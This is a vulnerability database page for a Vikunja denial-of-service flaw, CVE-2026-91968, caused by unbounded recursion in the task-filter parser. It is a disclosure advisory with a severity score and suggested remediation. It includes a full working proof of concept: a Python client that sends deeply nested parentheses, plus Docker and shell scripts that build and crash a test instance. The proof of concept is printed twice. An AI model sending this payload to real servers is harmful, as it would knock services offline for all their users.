GHSA-XXC3-XPMC-VMVR

Vulnerability from github – Published: 2026-10-09 20:53 – Updated: 2026-10-09 20:53

Summary

Vikunja: Unbounded nested task-filter recursion permits API process termination

Details

Unbounded nested task-filter recursion permits API process termination

Summary

Authenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process.

Impact and affected scope

Type: Resource Exhaustion Recursive Parser
Affected component: GET /api/v2/projects/{project}/tasks?filter=; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString
Preconditions: A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter.
Verified revision: 349cd5adbcc831ef08b08e6c9c6d627603c39606 on 28 August 2026
Affected release range: = 2.5.0; broader historical range not established and maintainer confirmation requested

A single low-privileged network request can terminate the API process and deny service to all users.

Technical details

The server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth.

Attack path: Authenticate, request an accessible project's task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed.

Relevant code:

pkg/models/task_collection_filter.go:240
pkg/models/task_collection_filter.go:268
pkg/models/task_collection_filter.go:274
pkg/models/task_collection_filter.go:276
pkg/models/task_collection_filter.go:295

Reproduction

Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.

Create reproduction/Dockerfile:

FROM golang:1.27.0-alpine

RUN apk add --no-cache bash build-base ca-certificates python3 tzdata

WORKDIR /app
COPY . /app
RUN chmod +x /app/*.sh 2>/dev/null || true

# Target source is supplied only at runtime through /target-repo:ro.
# This image contains build dependencies and reproduction helpers, not a clone.

Create reproduction/client.py:

#!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request


BASE = "http://target:3456"


def request(method, path, body=None, token=None, expected=None, timeout=30):
    raw = None if body is None else json.dumps(body).encode()
    headers = {"Accept": "application/json"}
    if body is not None:
        headers["Content-Type"] = "application/json"
    if token:
        headers["Authorization"] = "Bearer " + token
    req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
    try:
        with urllib.request.urlopen(req, timeout=timeout) as response:
            status, data = response.status, response.read()
    except urllib.error.HTTPError as exc:
        status, data = exc.code, exc.read()
    print(f"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}", flush=True)
    if expected is not None and status != expected:
        raise RuntimeError(f"{method}: got {status}, expected {expected}")
    return status, json.loads(data.decode()) if data else {}


def wait_ready():
    for _ in range(240):
        try:
            if request("GET", "/api/v1/info")[0] == 200:
                return
        except Exception:
            pass
        time.sleep(0.25)
    raise RuntimeError("target did not become ready")


def filter_path(project_id, depth):
    expression = "(" * depth + "id = 1" + ")" * depth
    path = f"/api/v2/projects/{project_id}/tasks?filter=" + urllib.parse.quote(expression, safe="")
    print(f"PoC_FILTER_REQUEST depth={depth} target_bytes={len(path)}", flush=True)
    return path


def main():
    wait_ready()
    username, password = "PoC-filter-user", "PoC-password-123!"
    request("POST", "/api/v2/register", {
        "username": username,
        "email": username + "@example.invalid",
        "password": password,
    }, expected=201)
    _, login = request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200)
    token = login["token"]
    _, project = request("PUT", "/api/v1/projects", {"title": "PoC filter project"}, token, 201)

    started = time.monotonic()
    request("GET", filter_path(project["id"], 1000), token=token, expected=200)
    print(f"PoC_FILTER_CONTROL=PASS elapsed={time.monotonic() - started:.3f}s", flush=True)

    try:
        status, _ = request("GET", filter_path(project["id"], 20000), token=token, timeout=90)
        raise RuntimeError(f"attack unexpectedly returned HTTP {status}")
    except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:
        print(f"PoC_FILTER_ATTACK_DISCONNECTED error={type(exc).__name__}", flush=True)
    print("PoC_FILTER_ATTACK_SENT depth=20000", flush=True)


if __name__ == "__main__":
    try:
        main()
    except Exception as exc:
        print(f"PoC_FILTER_CLIENT=FAIL {exc}", file=sys.stderr, flush=True)
        raise

Create reproduction/prepare.sh:

#!/usr/bin/env bash
set -euo pipefail

mkdir -p /work/repo
cp -a /target-repo/. /work/repo/
mkdir -p /work/repo/frontend/dist
cp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html

cd /work/repo
CGO_ENABLED=1 go build \
  -tags osusergo \
  -ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \
  -o /output/vikunja .
chmod 0755 /output/vikunja

if [[ -f /app/probe.go ]]; then
  go build -o /output/probe /app/probe.go
  chmod 0755 /output/probe
fi

Create reproduction/run.sh:

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="349cd5adbcc831ef08b08e6c9c6d627603c39606"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-reproduction.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
BUILD_DIR="${WORKDIR}/build"
DATA_DIR="${WORKDIR}/data"
NETWORK="${IMAGE_TAG}-net-$$"
TARGET_CONTAINER="${IMAGE_TAG}-target-$$"

cleanup() {
  docker rm -f "${TARGET_CONTAINER}" >/dev/null 2>&1 || true
  docker network rm "${NETWORK}" >/dev/null 2>&1 || true
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT

mkdir -p "${BUILD_DIR}" "${DATA_DIR}/files"
chmod 0777 "${BUILD_DIR}" "${DATA_DIR}" "${DATA_DIR}/files"
echo "[PoC] cloning and pinning target ${TARGET_REF}"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
echo "[PoC] building helper image ${IMAGE_TAG}"
docker build -t "${IMAGE_TAG}" "${SCRIPT_DIR}"
docker run --rm -v "${TARGET_REPO_DIR}:/target-repo:ro" -v "${BUILD_DIR}:/output" "${IMAGE_TAG}" /app/prepare.sh
docker network create "${NETWORK}" >/dev/null
docker run --detach --name "${TARGET_CONTAINER}" \
  --network "${NETWORK}" --network-alias target \
  --memory 512m --memory-swap 512m --pids-limit 256 \
  -v "${BUILD_DIR}/vikunja:/app/vikunja:ro" --tmpfs /data:rw,exec,mode=1777 \
  -e VIKUNJA_SERVICE_INTERFACE=:3456 -e VIKUNJA_SERVICE_PUBLICURL=http://target:3456/ \
  -e VIKUNJA_SERVICE_ROOTPATH=/data -e VIKUNJA_SERVICE_JWTSECRET=PoC-reproduction-secret \
  -e VIKUNJA_SERVICE_ENABLEREGISTRATION=true -e VIKUNJA_DATABASE_TYPE=sqlite \
  -e VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \
  -e VIKUNJA_MAILER_ENABLED=false -e VIKUNJA_REDIS_ENABLED=false -e VIKUNJA_LOG_HTTP=off \
  -e VIKUNJA_RATELIMIT_NOAUTHLIMIT=1000 \
  "${IMAGE_TAG}" /app/vikunja web >/dev/null

set +e
OUTPUT="$(docker run --rm --network "${NETWORK}" "${IMAGE_TAG}" python3 /app/client.py 2>&1)"
CLIENT_STATUS=$?
set -e
printf '%s\n' "${OUTPUT}"
for _ in $(seq 1 80); do
  STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
  [[ "${STATE}" != "false 0 true" ]] && break
  sleep 0.25
done
STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
echo "PoC_FILTER_CONTAINER state=${STATE} client_status=${CLIENT_STATUS}"
if ! grep -q 'PoC_FILTER_CONTROL=PASS' <<<"${OUTPUT}" || ! grep -q 'PoC_FILTER_ATTACK_SENT depth=20000' <<<"${OUTPUT}" || [[ "${STATE}" != "true 137 false" ]]; then
  echo "[PoC] FAIL: nested filter did not produce the expected cgroup OOM termination" >&2
  exit 1
fi
echo "PoC_FILTER_RECURSION=PASS depth=20000 OOMKilled=true ExitCode=137"
echo "[PoC] SUCCESS: an approximately 120 KB authenticated request terminated a 512 MiB API process"

Create reproduction/frontend-placeholder.html:

<!doctype html><title>PoC backend reproduction placeholder</title>

From the directory containing these files, run:

chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true
./reproduction/run.sh

Expected: A low-privileged request below the server request-size ceiling terminates the API process through unbounded filter parsing.

Observed: Depth 1,000 returned HTTP 200 in 14 ms. The 120,044-byte depth-20,000 request disconnected, and Docker recorded OOMKilled=true, ExitCode=137. The run emitted PoC_FILTER_RECURSION=PASS.

Verification and controls: The client creates an ordinary account and project, asserts the depth-1,000 route control is HTTP 200, submits depth 20,000, and the host script accepts only the attack marker plus Docker OOMKilled=true and ExitCode=137.

Observed evidence:

depth=1000 target_bytes=6044: HTTP 200
depth=20000 target_bytes=120044: RemoteDisconnected
target container: OOMKilled=true, ExitCode=137
PoC_FILTER_RECURSION=PASS

Suggested remediation

Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.

Severity

CVSS v4.0: 7.1 (High) — Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.

Disclosure context and attribution

AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.

Reported by the University of Sydney security research team:

We are happy to answer questions, provide additional verification details, or validate a candidate patch.

Severity

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.0"
            },
            {
              "fixed": "2.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.5.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-91968"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:53:03Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Unbounded nested task-filter recursion permits API process termination\n\n## Summary\n\nAuthenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process.\n\n## Impact and affected scope\n\n- **Type:** Resource Exhaustion Recursive Parser\n- **Affected component:** GET /api/v2/projects/{project}/tasks?filter=\u003cnested expression\u003e; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString\n- **Preconditions:** A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter.\n- **Verified revision:** `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026\n- **Affected release range:** `= 2.5.0`; broader historical range not established and maintainer confirmation requested\n\nA single low-privileged network request can terminate the API process and deny service to all users.\n\n## Technical details\n\nThe server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth.\n\nAttack path: Authenticate, request an accessible project\u0027s task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed.\n\nRelevant code:\n\n- `pkg/models/task_collection_filter.go:240`\n- `pkg/models/task_collection_filter.go:268`\n- `pkg/models/task_collection_filter.go:274`\n- `pkg/models/task_collection_filter.go:276`\n- `pkg/models/task_collection_filter.go:295`\n\n## Reproduction\n\nRun this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.\n\nCreate `reproduction/Dockerfile`:\n\n```text\nFROM golang:1.27.0-alpine\n\nRUN apk add --no-cache bash build-base ca-certificates python3 tzdata\n\nWORKDIR /app\nCOPY . /app\nRUN chmod +x /app/*.sh 2\u003e/dev/null || true\n\n# Target source is supplied only at runtime through /target-repo:ro.\n# This image contains build dependencies and reproduction helpers, not a clone.\n\n```\n\nCreate `reproduction/client.py`:\n\n```python\n#!/usr/bin/env python3\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\nBASE = \"http://target:3456\"\n\n\ndef request(method, path, body=None, token=None, expected=None, timeout=30):\n    raw = None if body is None else json.dumps(body).encode()\n    headers = {\"Accept\": \"application/json\"}\n    if body is not None:\n        headers[\"Content-Type\"] = \"application/json\"\n    if token:\n        headers[\"Authorization\"] = \"Bearer \" + token\n    req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)\n    try:\n        with urllib.request.urlopen(req, timeout=timeout) as response:\n            status, data = response.status, response.read()\n    except urllib.error.HTTPError as exc:\n        status, data = exc.code, exc.read()\n    print(f\"{method} {path[:160]} -\u003e {status} {data[:200].decode(errors=\u0027replace\u0027)}\", flush=True)\n    if expected is not None and status != expected:\n        raise RuntimeError(f\"{method}: got {status}, expected {expected}\")\n    return status, json.loads(data.decode()) if data else {}\n\n\ndef wait_ready():\n    for _ in range(240):\n        try:\n            if request(\"GET\", \"/api/v1/info\")[0] == 200:\n                return\n        except Exception:\n            pass\n        time.sleep(0.25)\n    raise RuntimeError(\"target did not become ready\")\n\n\ndef filter_path(project_id, depth):\n    expression = \"(\" * depth + \"id = 1\" + \")\" * depth\n    path = f\"/api/v2/projects/{project_id}/tasks?filter=\" + urllib.parse.quote(expression, safe=\"\")\n    print(f\"PoC_FILTER_REQUEST depth={depth} target_bytes={len(path)}\", flush=True)\n    return path\n\n\ndef main():\n    wait_ready()\n    username, password = \"PoC-filter-user\", \"PoC-password-123!\"\n    request(\"POST\", \"/api/v2/register\", {\n        \"username\": username,\n        \"email\": username + \"@example.invalid\",\n        \"password\": password,\n    }, expected=201)\n    _, login = request(\"POST\", \"/api/v2/login\", {\"username\": username, \"password\": password}, expected=200)\n    token = login[\"token\"]\n    _, project = request(\"PUT\", \"/api/v1/projects\", {\"title\": \"PoC filter project\"}, token, 201)\n\n    started = time.monotonic()\n    request(\"GET\", filter_path(project[\"id\"], 1000), token=token, expected=200)\n    print(f\"PoC_FILTER_CONTROL=PASS elapsed={time.monotonic() - started:.3f}s\", flush=True)\n\n    try:\n        status, _ = request(\"GET\", filter_path(project[\"id\"], 20000), token=token, timeout=90)\n        raise RuntimeError(f\"attack unexpectedly returned HTTP {status}\")\n    except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:\n        print(f\"PoC_FILTER_ATTACK_DISCONNECTED error={type(exc).__name__}\", flush=True)\n    print(\"PoC_FILTER_ATTACK_SENT depth=20000\", flush=True)\n\n\nif __name__ == \"__main__\":\n    try:\n        main()\n    except Exception as exc:\n        print(f\"PoC_FILTER_CLIENT=FAIL {exc}\", file=sys.stderr, flush=True)\n        raise\n\n```\n\nCreate `reproduction/prepare.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nmkdir -p /work/repo\ncp -a /target-repo/. /work/repo/\nmkdir -p /work/repo/frontend/dist\ncp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html\n\ncd /work/repo\nCGO_ENABLED=1 go build \\\n  -tags osusergo \\\n  -ldflags \u0027-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction\u0027 \\\n  -o /output/vikunja .\nchmod 0755 /output/vikunja\n\nif [[ -f /app/probe.go ]]; then\n  go build -o /output/probe /app/probe.go\n  chmod 0755 /output/probe\nfi\n\n```\n\nCreate `reproduction/run.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" \u0026\u0026 pwd)\"\nFINDING_DIR=\"$(cd \"${SCRIPT_DIR}/..\" \u0026\u0026 pwd)\"\nSESSION_DIR=\"$(cd \"${FINDING_DIR}/..\" \u0026\u0026 pwd)\"\nCASE_ID=\"$(basename \"${SESSION_DIR}\")\"\nFINDING_NAME=\"$(basename \"${FINDING_DIR}\")\"\nIMAGE_TAG=\"PoC-${CASE_ID}-${FINDING_NAME}\"\nTARGET_REPO_URL=\"https://github.com/go-vikunja/vikunja.git\"\nTARGET_REF=\"349cd5adbcc831ef08b08e6c9c6d627603c39606\"\nWORKDIR=\"$(mktemp -d \"${SESSION_DIR}/.PoC-reproduction.XXXXXX\")\"\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\nBUILD_DIR=\"${WORKDIR}/build\"\nDATA_DIR=\"${WORKDIR}/data\"\nNETWORK=\"${IMAGE_TAG}-net-$$\"\nTARGET_CONTAINER=\"${IMAGE_TAG}-target-$$\"\n\ncleanup() {\n  docker rm -f \"${TARGET_CONTAINER}\" \u003e/dev/null 2\u003e\u00261 || true\n  docker network rm \"${NETWORK}\" \u003e/dev/null 2\u003e\u00261 || true\n  rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\nmkdir -p \"${BUILD_DIR}\" \"${DATA_DIR}/files\"\nchmod 0777 \"${BUILD_DIR}\" \"${DATA_DIR}\" \"${DATA_DIR}/files\"\necho \"[PoC] cloning and pinning target ${TARGET_REF}\"\ngit clone --filter=blob:none --no-checkout \"${TARGET_REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --detach \"${TARGET_REF}\"\necho \"[PoC] building helper image ${IMAGE_TAG}\"\ndocker build -t \"${IMAGE_TAG}\" \"${SCRIPT_DIR}\"\ndocker run --rm -v \"${TARGET_REPO_DIR}:/target-repo:ro\" -v \"${BUILD_DIR}:/output\" \"${IMAGE_TAG}\" /app/prepare.sh\ndocker network create \"${NETWORK}\" \u003e/dev/null\ndocker run --detach --name \"${TARGET_CONTAINER}\" \\\n  --network \"${NETWORK}\" --network-alias target \\\n  --memory 512m --memory-swap 512m --pids-limit 256 \\\n  -v \"${BUILD_DIR}/vikunja:/app/vikunja:ro\" --tmpfs /data:rw,exec,mode=1777 \\\n  -e VIKUNJA_SERVICE_INTERFACE=:3456 -e VIKUNJA_SERVICE_PUBLICURL=http://target:3456/ \\\n  -e VIKUNJA_SERVICE_ROOTPATH=/data -e VIKUNJA_SERVICE_JWTSECRET=PoC-reproduction-secret \\\n  -e VIKUNJA_SERVICE_ENABLEREGISTRATION=true -e VIKUNJA_DATABASE_TYPE=sqlite \\\n  -e VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \\\n  -e VIKUNJA_MAILER_ENABLED=false -e VIKUNJA_REDIS_ENABLED=false -e VIKUNJA_LOG_HTTP=off \\\n  -e VIKUNJA_RATELIMIT_NOAUTHLIMIT=1000 \\\n  \"${IMAGE_TAG}\" /app/vikunja web \u003e/dev/null\n\nset +e\nOUTPUT=\"$(docker run --rm --network \"${NETWORK}\" \"${IMAGE_TAG}\" python3 /app/client.py 2\u003e\u00261)\"\nCLIENT_STATUS=$?\nset -e\nprintf \u0027%s\\n\u0027 \"${OUTPUT}\"\nfor _ in $(seq 1 80); do\n  STATE=\"$(docker inspect --format \u0027{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}\u0027 \"${TARGET_CONTAINER}\")\"\n  [[ \"${STATE}\" != \"false 0 true\" ]] \u0026\u0026 break\n  sleep 0.25\ndone\nSTATE=\"$(docker inspect --format \u0027{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}\u0027 \"${TARGET_CONTAINER}\")\"\necho \"PoC_FILTER_CONTAINER state=${STATE} client_status=${CLIENT_STATUS}\"\nif ! grep -q \u0027PoC_FILTER_CONTROL=PASS\u0027 \u003c\u003c\u003c\"${OUTPUT}\" || ! grep -q \u0027PoC_FILTER_ATTACK_SENT depth=20000\u0027 \u003c\u003c\u003c\"${OUTPUT}\" || [[ \"${STATE}\" != \"true 137 false\" ]]; then\n  echo \"[PoC] FAIL: nested filter did not produce the expected cgroup OOM termination\" \u003e\u00262\n  exit 1\nfi\necho \"PoC_FILTER_RECURSION=PASS depth=20000 OOMKilled=true ExitCode=137\"\necho \"[PoC] SUCCESS: an approximately 120 KB authenticated request terminated a 512 MiB API process\"\n\n```\n\nCreate `reproduction/frontend-placeholder.html`:\n\n```html\n\u003c!doctype html\u003e\u003ctitle\u003ePoC backend reproduction placeholder\u003c/title\u003e\n\n```\n\nFrom the directory containing these files, run:\n\n```sh\nchmod +x reproduction/run.sh reproduction/*.sh 2\u003e/dev/null || true\n./reproduction/run.sh\n```\n\n**Expected:** A low-privileged request below the server request-size ceiling terminates the API process through unbounded filter parsing.\n\n**Observed:** Depth 1,000 returned HTTP 200 in 14 ms. The 120,044-byte depth-20,000 request disconnected, and Docker recorded OOMKilled=true, ExitCode=137. The run emitted PoC_FILTER_RECURSION=PASS.\n\n**Verification and controls:** The client creates an ordinary account and project, asserts the depth-1,000 route control is HTTP 200, submits depth 20,000, and the host script accepts only the attack marker plus Docker OOMKilled=true and ExitCode=137.\n\nObserved evidence:\n\n- depth=1000 target_bytes=6044: HTTP 200\n- depth=20000 target_bytes=120044: RemoteDisconnected\n- target container: OOMKilled=true, ExitCode=137\n- PoC_FILTER_RECURSION=PASS\n\n## Suggested remediation\n\nEnforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.\n\n## Severity\n\n**CVSS v4.0: 7.1 (High)** \u2014 Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\nThis assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.\n\n## Disclosure context and attribution\n\nAI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.\n\nReported by the University of Sydney security research team:\n\n- [Ziyue Wang (@Zyy0530)](https://github.com/Zyy0530)\n- [Liyi Zhou (@lzhou1110)](https://github.com/lzhou1110)\n- [Strick Sheng (@Str1ckl4nd)](https://github.com/Str1ckl4nd)\n- [Maurice Ng (@mauriceng98)](https://github.com/mauriceng98)\n- [Chenchen Yu (@7thParkk)](https://github.com/7thParkk)\n\nWe are happy to answer questions, provide additional verification details, or validate a candidate patch.",
  "id": "GHSA-xxc3-xpmc-vmvr",
  "modified": "2026-10-09T20:53:03Z",
  "published": "2026-10-09T20:53:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-xxc3-xpmc-vmvr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91968"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/pull/3688"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vikunja-before-2.6.0-denial-of-service-via-unbounded-filter-recursion"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vikunja: Unbounded nested task-filter recursion permits API process termination"
}

CVE-2026-91968 (GCVE-0-2026-91968)

Vulnerability from cvelistv5 – Published: 2026-09-15 15:18 – Updated: 2026-09-15 15:56

Title

vikunja before 2.6.0 Denial of Service via unbounded filter recursion

Summary

vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the task-filter endpoint that accepts deeply nested filter expressions without recursion depth limits. Authenticated attackers can supply thousands of nested parentheses in the filter query parameter to exhaust memory and terminate the API process.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

7.1 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-15 15:55 UTC

CWE

CWE-674 - Uncontrolled Recursion

Assigner

VulnCheck CNA under the mitre root

CNA scorecard B 84/100 over 5496 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/go-vikunja/vikunja/security/ad…	vendor-advisory
https://www.vulncheck.com/advisories/vikunja-befo…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
go-vikunja	vikunja	Affected: 2.5.0 , < 2.6.0 (semver) Unaffected: 2.6.0 (semver) cpe:2.3:a:vikunja:vikunja::::::::

Date Public

2026-08-31 00:00

Credits

Zyy0530 Str1ckl4nd 7thParkk

Show details on NVD website

JSON

To clipboard

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                "role": "CISA Coordinator",
                "timestamp": "2026-09-15T15:55:42.634396Z",
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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Action not permitted

GHSA-XXC3-XPMC-VMVR

Unbounded nested task-filter recursion permits API process termination

Summary

Impact and affected scope

Technical details

Reproduction

Suggested remediation

Severity

Disclosure context and attribution

CVE-2026-91968 (GCVE-0-2026-91968)

Tags

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